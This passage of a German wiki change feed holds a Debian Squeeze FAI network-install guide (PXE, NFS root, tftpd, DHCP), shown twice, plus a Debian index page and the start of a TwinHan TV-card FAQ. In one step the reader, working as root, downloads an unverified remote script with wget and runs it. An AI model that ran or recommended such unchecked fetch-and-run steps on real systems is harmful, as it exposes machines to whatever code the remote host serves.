 export APT_CONFIG=/etc/fai-i386/apt_arch.conf&lt;br /&gt;
 aptitude update&lt;br /&gt;
 fai-setup -C /etc/fai-i386 -v&lt;br /&gt;
 fai-mirror -C /etc/fai-i386 -v /srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 make-fai-nfsroot -C /etc/fai-i386 -v&lt;br /&gt;
 export -n APT_CONFIG FAI_ETC_DIR FAI_DEBMIRROR&lt;br /&gt;
 aptitude update&lt;br /&gt;
&lt;br /&gt;
In /srv/fai/nfsroot-i386/live/filesystem.dir/etc/initramfs-tools/initramfs.conf folgendes ersetzen:&lt;br /&gt;
 KEYMAP=y&lt;br /&gt;
 BOOT=nfs&lt;br /&gt;
&lt;br /&gt;
 chroot /srv/fai/nfsroot-i386/live/filesystem.dir /bin/bash --login&lt;br /&gt;
 mount -t proc none /proc/&lt;br /&gt;
 update-initramfs -k all -u&lt;br /&gt;
 umount /proc/&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 mkdir /srv/tftp/fai/&lt;br /&gt;
 cd /srv/fai/nfsroot-i386/live/filesystem.dir/boot/&lt;br /&gt;
 cp initrd.img-2.6.32-*-686 /srv/tftp/fai/&lt;br /&gt;
 cp vmlinuz-2.6.32-*-686 /srv/tftp/fai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun konfigurieren wir PXE:&lt;br /&gt;
 mkdir /srv/tftp/fai/pxelinux.cfg&lt;br /&gt;
&lt;br /&gt;
 fai-chboot -k &amp;quot;initrd=$(ls -rt /srv/tftp/fai/initrd.img*686* | tail -1 | sed &#039;s;.*/;;&#039;) ip=dhcp root=/dev/nfs nfsroot=192.168.39.2:/srv/fai/nfsroot-i386 boot=live FAI_FLAGS=verbose,sshd,createvt,reboot FAI_ACTION=install panic=60&amp;quot; $(ls -rt /srv/tftp/fai/vmlinuz*686* | tail -1 | sed &#039;s;.*/;;&#039;) debian-squeeze-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun kommen wir zum erstellen des FAI NFSroot und des FAI Mirrors fuer amd64 (wird auch zum update ausgefuehrt):&lt;br /&gt;
 export FAI_DEBMIRROR=192.168.39.2:/srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 export FAI_ETC_DIR=/etc/fai-amd64&lt;br /&gt;
 export APT_CONFIG=/etc/fai-amd64/apt_arch.conf&lt;br /&gt;
 aptitude update&lt;br /&gt;
 fai-setup -C /etc/fai-amd64 -v&lt;br /&gt;
 fai-mirror -C /etc/fai-amd64 -v /srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 make-fai-nfsroot -C /etc/fai-amd64 -v&lt;br /&gt;
 export -n APT_CONFIG FAI_ETC_DIR FAI_DEBMIRROR&lt;br /&gt;
 aptitude update&lt;br /&gt;
&lt;br /&gt;
In /srv/fai/nfsroot-amd64/live/filesystem.dir/etc/initramfs-tools/initramfs.conf folgendes ersetzen:&lt;br /&gt;
 KEYMAP=y&lt;br /&gt;
 BOOT=nfs&lt;br /&gt;
&lt;br /&gt;
 chroot /srv/fai/nfsroot-amd64/live/filesystem.dir /bin/bash --login&lt;br /&gt;
 mount -t proc none /proc/&lt;br /&gt;
 update-initramfs -k all -u&lt;br /&gt;
 umount /proc/&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 mkdir /srv/tftp/fai/&lt;br /&gt;
 cd /srv/fai/nfsroot-amd64/live/filesystem.dir/boot/&lt;br /&gt;
 cp initrd.img-2.6.32-*-amd64 /srv/tftp/fai/&lt;br /&gt;
 cp vmlinuz-2.6.32-*-amd64 /srv/tftp/fai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun konfigurieren wir PXE:&lt;br /&gt;
 mkdir /srv/tftp/fai/pxelinux.cfg&lt;br /&gt;
&lt;br /&gt;
 fai-chboot -k &amp;quot;initrd=$(ls -rt /srv/tftp/fai/initrd.img*amd64* | tail -1 | sed &#039;s;.*/;;&#039;) ip=dhcp root=/dev/nfs nfsroot=192.168.39.2:/srv/fai/nfsroot-amd64 boot=live FAI_FLAGS=verbose,sshd,createvt,reboot FAI_ACTION=install panic=60&amp;quot; $(ls -rt /srv/tftp/fai/vmlinuz*amd64* | tail -1 | sed &#039;s;.*/;;&#039;) debian-squeeze-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt richten wir tftpd ein, in /etc/xinetd.d/tftp fuegen wir folgendes ein:&lt;br /&gt;
 service tftp&lt;br /&gt;
 {&lt;br /&gt;
         socket_type = dgram&lt;br /&gt;
         protocol = udp&lt;br /&gt;
         wait = yes&lt;br /&gt;
         user = root&lt;br /&gt;
         server = /usr/sbin/in.tftpd&lt;br /&gt;
         server_args = --tftpd-timeout 300  --retry-timeout 5 --maxthread 100 --verbose=5 /srv/tftp/fai/&lt;br /&gt;
         log_type = FILE /var/log/tftpd.log&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Und nun wird DHCPd eingerichtet,als erstes sichern wir uns die default conf Datei:&lt;br /&gt;
 mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig&lt;br /&gt;
Folgendes in /etc/dhcp/dhcpd.conf ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 log-facility local7;&lt;br /&gt;
  &lt;br /&gt;
 option dhcp-max-message-size 2048;&lt;br /&gt;
 use-host-decl-names on;&lt;br /&gt;
 deny unknown-clients;&lt;br /&gt;
  &lt;br /&gt;
 allow bootp;&lt;br /&gt;
 allow booting;&lt;br /&gt;
 &lt;br /&gt;
 subnet 192.168.39.0 netmask 255.255.255.0&lt;br /&gt;
 {&lt;br /&gt;
 range 192.168.39.100 192.168.39.250;&lt;br /&gt;
 option domain-name &amp;quot;local&amp;quot;;&lt;br /&gt;
 option domain-name-servers 192.168.39.253;&lt;br /&gt;
 option routers 192.168.39.253;&lt;br /&gt;
 option broadcast-address 192.168.39.255;&lt;br /&gt;
 default-lease-time 86400;&lt;br /&gt;
 max-lease-time 604800;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 group {&lt;br /&gt;
 &lt;br /&gt;
         filename &amp;quot;pxelinux.0&amp;quot;;&lt;br /&gt;
         next-server 192.168.39.2;&lt;br /&gt;
  &lt;br /&gt;
         host debian-squeeze-1 {&lt;br /&gt;
                 hardware ethernet 08:00:22:22:22:21;&lt;br /&gt;
                 fixed-address 192.168.39.226;&lt;br /&gt;
         }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Danach einmal den DHCPd restarten:&lt;br /&gt;
 /etc/init.d/isc-dhcp-server restart&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=FAI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=90</id>
		<title>FAI INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=FAI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=90"/>
		<updated>2013-04-29T19:07:49Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „FAI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 05.07.2011) [ © OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]  Hier unsere Server/Client Beisp…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;FAI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 05.07.2011) [ © OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 FAI Server, Debian Squeeze 6.0x, IP 192.168.39.2, Hostname fai&lt;br /&gt;
 Client 1, MAC Adresse 08:00:22:22:22:21, IP 192.168.39.226, Hostname debian-squeeze-1&lt;br /&gt;
 Router, IP 192.168.39.253, Hostname router&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s&lt;br /&gt;
oder&lt;br /&gt;
 su&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Die Clients in /etc/hosts eintragen, wird fuer den PXE Boot benoetigt:&lt;br /&gt;
 echo &amp;quot;192.168.39.226  debian-squeeze-1&amp;quot; &amp;gt;&amp;gt; /etc/hosts&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Folgende Packete installieren:&lt;br /&gt;
 aptitude install fai-client fai-doc fai-server fai-quickstart atftpd dhcp3-server xinetd syslinux nfs-kernel-server apt-move makepasswd apache2 apt-cacher&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes erstellen wir den apt-cacher:&lt;br /&gt;
 apache2ctl graceful&lt;br /&gt;
In /etc/default/apt-cacher setzen wir AUTOSTART=1&lt;br /&gt;
In /etc/apt-cacher/apt-cacher.conf koennen wir noch Anpassungen machen.&lt;br /&gt;
Danach starten wir den apt-cacher Daemon&lt;br /&gt;
 /etc/init.d/apt-cacher restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun das Script debian-squeeze-fai-i386-amd64-config-script downloaden und ausfuehren:&lt;br /&gt;
 wget http://unix.oppserver.net/debian/fai/debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 chmod +x debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 ./debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
 rm debian-squeeze-fai-i386-amd64-config-script&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt das FAI root Passwort (FAI_ROOTPW) erzeugen:&lt;br /&gt;
 makepasswd --crypt-md5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/fai-i386/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 NFSROOT=/srv/fai/nfsroot-i386&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
 FAI_DEBOOTSTRAP_OPTS=&amp;quot;--arch i386&amp;quot; &lt;br /&gt;
 APT_CONFIG=/etc/fai-i386/apt_arch.conf&lt;br /&gt;
&lt;br /&gt;
In /etc/fai-amd64/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 NFSROOT=/srv/fai/nfsroot-amd64&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
 FAI_DEBOOTSTRAP_OPTS=&amp;quot;--arch amd64&amp;quot; &lt;br /&gt;
 APT_CONFIG=/etc/fai-amd64/apt_arch.conf&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/make-fai-nfsroot.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 FAI_ROOTPW=&#039;...&#039;&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/fai.conf folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
 FAI_CONFIG_SRC=nfs://192.168.39.2/srv/fai/config&lt;br /&gt;
 LOGUSER=fai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benoetigte Ordner erstellen:&lt;br /&gt;
 mkdir -p /srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 mkdir -p /srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 mkdir -p /srv/fai/nfsroot-i386&lt;br /&gt;
 mkdir -p /srv/fai/nfsroot-amd64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/exports folgendes aendern/ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 /srv/fai/config 192.168.39.0/24(async,ro,no_subtree_check)&lt;br /&gt;
 /srv/fai/nfsroot-i386 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/nfsroot-amd64 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/mirror/i386/debian-squeeze 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
 /srv/fai/mirror/amd64/debian-squeeze 192.168.39.0/24(async,ro,no_subtree_check,no_root_squash)&lt;br /&gt;
&lt;br /&gt;
Und den NFS Server restarten:&lt;br /&gt;
 /etc/init.d/nfs-kernel-server restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Eine neue sources.list downloaden:&lt;br /&gt;
 mv /etc/fai/apt/sources.list /etc/fai/apt/sources.list.orig&lt;br /&gt;
 wget http://unix.oppserver.net/debian/sources.list.squeeze -O /etc/fai/apt/sources.list.squeeze&lt;br /&gt;
Diese nun mit folgendem ergaenzen:&lt;br /&gt;
&lt;br /&gt;
 #Apt-Cacher&lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/ftp.debian.org/debian/ squeeze contrib main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/ftp.debian.org/debian/ squeeze contrib main non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/security.debian.org/ squeeze/updates main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/backports.debian.org/debian-backports squeeze-backports main contrib non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/backports.debian.org/debian-backports squeeze-backports main contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/deb.opera.com/opera/ squeeze non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian-multimedia.informatik.uni-erlangen.de/debian-multimedia/ squeeze main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian-multimedia.informatik.uni-erlangen.de/debian-multimedia/ squeeze main&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/www.lamaresh.net/apt squeeze main&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.virtualbox.org/virtualbox/debian squeeze contrib non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.webmin.com/download/repository sarge contrib&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/download.tuxfamily.org/shames/debian-lenny/desktopfx/unstable/ ./&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/www.prodeia.de/mms/squeeze binary/&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/www.prodeia.de/mms source/&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/debian squeeze contrib main non-free&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/debian squeeze contrib main non-free&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/xbmc/ squeeze main non-free contrib&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/xbmc/ squeeze main non-free contrib&lt;br /&gt;
 &lt;br /&gt;
 deb http://192.168.39.2/apt-cacher/debian.oppserver.net/enna squeeze main non-free contrib&lt;br /&gt;
 deb-src http://192.168.39.2/apt-cacher/debian.oppserver.net/enna squeeze main non-free contrib&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude&amp;quot; folgendes hinzufuegen:&lt;br /&gt;
 live-initramfs initramfs-tools vim&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude I386&amp;quot; folgendes ersetzen:&lt;br /&gt;
 linux-image-2.6-686&lt;br /&gt;
 linux-headers-2.6-686&lt;br /&gt;
&lt;br /&gt;
In /etc/fai/NFSROOT bei &amp;quot;PACKAGES aptitude AMD64&amp;quot; folgendes hinzufuegen:&lt;br /&gt;
 linux-headers-2.6-amd64&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kopieren der default Config (z.B. /srv/fai/config/disk_config fuer die Partitionierung):&lt;br /&gt;
 cp -a /usr/share/doc/fai-doc/examples/simple/* /srv/fai/config/&lt;br /&gt;
&lt;br /&gt;
Konfigurieren der eigenen Pakete die installiert werden sollen, in /srv/fai/config/package_config/OWN folgendes hinzufuegen:&lt;br /&gt;
 PACKAGES aptitude&lt;br /&gt;
 sudo gcc g++ make zip bzip2 unzip psmisc libc6 libc6-dev unrar kde-full kde-i18n-de kde-l10n-de kdm xserver-xorg&lt;br /&gt;
 iceweasel iceweasel-l10n-de opera flashplugin-nonfree wine&lt;br /&gt;
 subversion subversion-tools cvs mercurial&lt;br /&gt;
 webmin ssh proftpd-basic samba smbfs smbclient nfs-common nfs-kernel-server sendmail telnetd smbldap-tools&lt;br /&gt;
 k3b k3b-i18n &lt;br /&gt;
&lt;br /&gt;
 cdrdao dvd+rw-tools libdvdcss2 openssl cryptsetup &lt;br /&gt;
&lt;br /&gt;
 sun-java6-jdk sun-java6-plugin &lt;br /&gt;
&lt;br /&gt;
 xine-ui mplayer mencoder kmplayer mplayer-skin-blue amarok libxvidcore4 libxvidcore4-dev avifile-xvid-plugin xvid4conf vlc ffmpeg faad faac libfaac-dev liba52-0.7.4 liba52-0.7.4-dev lame libogg-dev libtheora-dev libvorbis-dev alsa-base alsa-oss alsa-tools alsa-utils alsa-source libx264-dev libmp4v2-dev libid3tag0-dev libmad0-dev libsndfile1-dev libflac-dev libasound2-dev openoffice.org openoffice.org-help-de openoffice.org-hyphenation-de openoffice.org-l10n-de openoffice.org-thesaurus-de-ch openoffice.org-thesaurus-de openoffice.org-kde ttf-mscorefonts-installer ttf-bitstream-vera ttf-freefont ttf-junicode sun-java6-fonts ttf-xfree86-nonfree&lt;br /&gt;
&lt;br /&gt;
Konfigurieren der default Config, in /srv/fai/config/class/50-host-classes folgendes ersetzen:&lt;br /&gt;
    *)&lt;br /&gt;
        echo &amp;quot;FAIBASE DHCPC GERMAN OWN&amp;quot; ;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun kommen wir zum erstellen des FAI NFSroot und des FAI Mirrors fuer i386 (wird auch zum update ausgefuehrt):&lt;br /&gt;
 export FAI_DEBMIRROR=192.168.39.2:/srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 export FAI_ETC_DIR=/etc/fai-i386&lt;br /&gt;
 export APT_CONFIG=/etc/fai-i386/apt_arch.conf&lt;br /&gt;
 aptitude update&lt;br /&gt;
 fai-setup -C /etc/fai-i386 -v&lt;br /&gt;
 fai-mirror -C /etc/fai-i386 -v /srv/fai/mirror/i386/debian-squeeze&lt;br /&gt;
 make-fai-nfsroot -C /etc/fai-i386 -v&lt;br /&gt;
 export -n APT_CONFIG FAI_ETC_DIR FAI_DEBMIRROR&lt;br /&gt;
 aptitude update&lt;br /&gt;
&lt;br /&gt;
In /srv/fai/nfsroot-i386/live/filesystem.dir/etc/initramfs-tools/initramfs.conf folgendes ersetzen:&lt;br /&gt;
 KEYMAP=y&lt;br /&gt;
 BOOT=nfs&lt;br /&gt;
&lt;br /&gt;
 chroot /srv/fai/nfsroot-i386/live/filesystem.dir /bin/bash --login&lt;br /&gt;
 mount -t proc none /proc/&lt;br /&gt;
 update-initramfs -k all -u&lt;br /&gt;
 umount /proc/&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 mkdir /srv/tftp/fai/&lt;br /&gt;
 cd /srv/fai/nfsroot-i386/live/filesystem.dir/boot/&lt;br /&gt;
 cp initrd.img-2.6.32-*-686 /srv/tftp/fai/&lt;br /&gt;
 cp vmlinuz-2.6.32-*-686 /srv/tftp/fai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun konfigurieren wir PXE:&lt;br /&gt;
 mkdir /srv/tftp/fai/pxelinux.cfg&lt;br /&gt;
&lt;br /&gt;
 fai-chboot -k &amp;quot;initrd=$(ls -rt /srv/tftp/fai/initrd.img*686* | tail -1 | sed &#039;s;.*/;;&#039;) ip=dhcp root=/dev/nfs nfsroot=192.168.39.2:/srv/fai/nfsroot-i386 boot=live FAI_FLAGS=verbose,sshd,createvt,reboot FAI_ACTION=install panic=60&amp;quot; $(ls -rt /srv/tftp/fai/vmlinuz*686* | tail -1 | sed &#039;s;.*/;;&#039;) debian-squeeze-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun kommen wir zum erstellen des FAI NFSroot und des FAI Mirrors fuer amd64 (wird auch zum update ausgefuehrt):&lt;br /&gt;
 export FAI_DEBMIRROR=192.168.39.2:/srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 export FAI_ETC_DIR=/etc/fai-amd64&lt;br /&gt;
 export APT_CONFIG=/etc/fai-amd64/apt_arch.conf&lt;br /&gt;
 aptitude update&lt;br /&gt;
 fai-setup -C /etc/fai-amd64 -v&lt;br /&gt;
 fai-mirror -C /etc/fai-amd64 -v /srv/fai/mirror/amd64/debian-squeeze&lt;br /&gt;
 make-fai-nfsroot -C /etc/fai-amd64 -v&lt;br /&gt;
 export -n APT_CONFIG FAI_ETC_DIR FAI_DEBMIRROR&lt;br /&gt;
 aptitude update&lt;br /&gt;
&lt;br /&gt;
In /srv/fai/nfsroot-amd64/live/filesystem.dir/etc/initramfs-tools/initramfs.conf folgendes ersetzen:&lt;br /&gt;
 KEYMAP=y&lt;br /&gt;
 BOOT=nfs&lt;br /&gt;
&lt;br /&gt;
 chroot /srv/fai/nfsroot-amd64/live/filesystem.dir /bin/bash --login&lt;br /&gt;
 mount -t proc none /proc/&lt;br /&gt;
 update-initramfs -k all -u&lt;br /&gt;
 umount /proc/&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
 mkdir /srv/tftp/fai/&lt;br /&gt;
 cd /srv/fai/nfsroot-amd64/live/filesystem.dir/boot/&lt;br /&gt;
 cp initrd.img-2.6.32-*-amd64 /srv/tftp/fai/&lt;br /&gt;
 cp vmlinuz-2.6.32-*-amd64 /srv/tftp/fai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun konfigurieren wir PXE:&lt;br /&gt;
 mkdir /srv/tftp/fai/pxelinux.cfg&lt;br /&gt;
&lt;br /&gt;
 fai-chboot -k &amp;quot;initrd=$(ls -rt /srv/tftp/fai/initrd.img*amd64* | tail -1 | sed &#039;s;.*/;;&#039;) ip=dhcp root=/dev/nfs nfsroot=192.168.39.2:/srv/fai/nfsroot-amd64 boot=live FAI_FLAGS=verbose,sshd,createvt,reboot FAI_ACTION=install panic=60&amp;quot; $(ls -rt /srv/tftp/fai/vmlinuz*amd64* | tail -1 | sed &#039;s;.*/;;&#039;) debian-squeeze-1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jetzt richten wir tftpd ein, in /etc/xinetd.d/tftp fuegen wir folgendes ein:&lt;br /&gt;
 service tftp&lt;br /&gt;
 {&lt;br /&gt;
         socket_type = dgram&lt;br /&gt;
         protocol = udp&lt;br /&gt;
         wait = yes&lt;br /&gt;
         user = root&lt;br /&gt;
         server = /usr/sbin/in.tftpd&lt;br /&gt;
         server_args = --tftpd-timeout 300  --retry-timeout 5 --maxthread 100 --verbose=5 /srv/tftp/fai/&lt;br /&gt;
         log_type = FILE /var/log/tftpd.log&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Und nun wird DHCPd eingerichtet,als erstes sichern wir uns die default conf Datei:&lt;br /&gt;
 mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig&lt;br /&gt;
Folgendes in /etc/dhcp/dhcpd.conf ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 log-facility local7;&lt;br /&gt;
  &lt;br /&gt;
 option dhcp-max-message-size 2048;&lt;br /&gt;
 use-host-decl-names on;&lt;br /&gt;
 deny unknown-clients;&lt;br /&gt;
  &lt;br /&gt;
 allow bootp;&lt;br /&gt;
 allow booting;&lt;br /&gt;
 &lt;br /&gt;
 subnet 192.168.39.0 netmask 255.255.255.0&lt;br /&gt;
 {&lt;br /&gt;
 range 192.168.39.100 192.168.39.250;&lt;br /&gt;
 option domain-name &amp;quot;local&amp;quot;;&lt;br /&gt;
 option domain-name-servers 192.168.39.253;&lt;br /&gt;
 option routers 192.168.39.253;&lt;br /&gt;
 option broadcast-address 192.168.39.255;&lt;br /&gt;
 default-lease-time 86400;&lt;br /&gt;
 max-lease-time 604800;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 group {&lt;br /&gt;
 &lt;br /&gt;
         filename &amp;quot;pxelinux.0&amp;quot;;&lt;br /&gt;
         next-server 192.168.39.2;&lt;br /&gt;
  &lt;br /&gt;
         host debian-squeeze-1 {&lt;br /&gt;
                 hardware ethernet 08:00:22:22:22:21;&lt;br /&gt;
                 fixed-address 192.168.39.226;&lt;br /&gt;
         }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Danach einmal den DHCPd restarten:&lt;br /&gt;
 /etc/init.d/isc-dhcp-server restart&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=Debian&amp;diff=89</id>
		<title>Debian</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=Debian&amp;diff=89"/>
		<updated>2013-04-29T19:07:24Z</updated>

		<summary type="html">&lt;p&gt;SOliver: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[DEBIAN AUFRAEUMEN]]&lt;br /&gt;
* [[DEBIAN KERNEL BAUEN]]&lt;br /&gt;
* PAKETE PER APT INSTALLIEREN&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN SQUEEZE 6.0|SQUEEZE/6.0]]&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN LENNY 5.0|LENNY/5.0]]&lt;br /&gt;
** [[PAKETE PER APT INSTALLIEREN ETCH 4.0|ETCH/4.0]]&lt;br /&gt;
* PAKETE ERSTELLEN&lt;br /&gt;
** [[DEBIAN SQUEEZE PAKETE ERSTELLEN|SQUEEZE/6.0]]&lt;br /&gt;
** [[DEBIAN LENNY PAKETE ERSTELLEN|LENNY/5.0]]&lt;br /&gt;
** [[DEBIAN ETCH PAKETE ERSTELLEN|ETCH/4.0]]&lt;br /&gt;
* [[DEBIAN OPENSSL UND CERTS FAQ]]&lt;br /&gt;
* [[DEBIAN OPENVPN FAQ]]&lt;br /&gt;
* [[POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL Z.B. AUF EINEM ROOT/V-SERVER]]&lt;br /&gt;
* [[POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL AUF EINEM HOMESERVER]]&lt;br /&gt;
* [[ICINGA (NAGIOS FORK) INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[FIREFOX SYNC SERVER DEBIAN FAQ]]&lt;br /&gt;
* [[OPSI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[FAI INSTALL FAQ AUF DEBIAN SQUEEZE]]&lt;br /&gt;
* [[RASPBIAN CHROOT FAQ]]&lt;br /&gt;
* [[GRUB SPLASHIMAGE UND BOOTSPLASH FAQ ]]&lt;br /&gt;
* [[NVIDIA 430GT HDMI AUDIO FAQ]]&lt;br /&gt;
* [[NVIDIA Point of View G210 HDMI AUDIO FAQ]]&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=TWINHAN_1020a/1022a_KERNEL_HANGUP_FAQ&amp;diff=88</id>
		<title>TWINHAN 1020a/1022a KERNEL HANGUP FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=TWINHAN_1020a/1022a_KERNEL_HANGUP_FAQ&amp;diff=88"/>
		<updated>2013-04-29T18:59:45Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „TWINHAN 1020a/1022a KERNEL HANGUP FAQ (Stand 29.04.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]   Wenn dei…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;TWINHAN 1020a/1022a KERNEL HANGUP FAQ (Stand 29.04.2013) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn dein Kernel beim Start mit folgender Meldung stehen bleibt: &lt;br /&gt;
 bttv0: subsystem: fefe:0001 (UNKNOWN)&lt;br /&gt;
 bttv0: using: *** UNKNOWN/GENERIC *** [card=0,autodetected]&lt;br /&gt;
&lt;br /&gt;
Damit ist gemeint das der Eeprom der Karte wahrscheinlich nicht korrekt geschrieben ist. die Karte nimmt die&lt;br /&gt;
Subsystem ID von diesem Eeprom, aber fefe:0001 ist eine unbekannte ID, also bleibt der bttv Treiber &amp;quot;haengen&amp;quot;.&lt;br /&gt;
Aber zum Glueck ist dieser Eeprom nicht schreibgeschuetzt und wir koennen diesen neu beschreiben. Wir benoetigen&lt;br /&gt;
das i2c* Programm von lm-sensors. Dazu spaeter mehr, denn wir muessen den PC ja erstmal mit eingebauter Karte&lt;br /&gt;
starten koennen. Also am besten die Karte wieder raus und nach dem Booten als root folgende Datei bearbeiten:&lt;br /&gt;
&lt;br /&gt;
Beim alten SuSE:&lt;br /&gt;
 /etc/modprobe.conf&lt;br /&gt;
&lt;br /&gt;
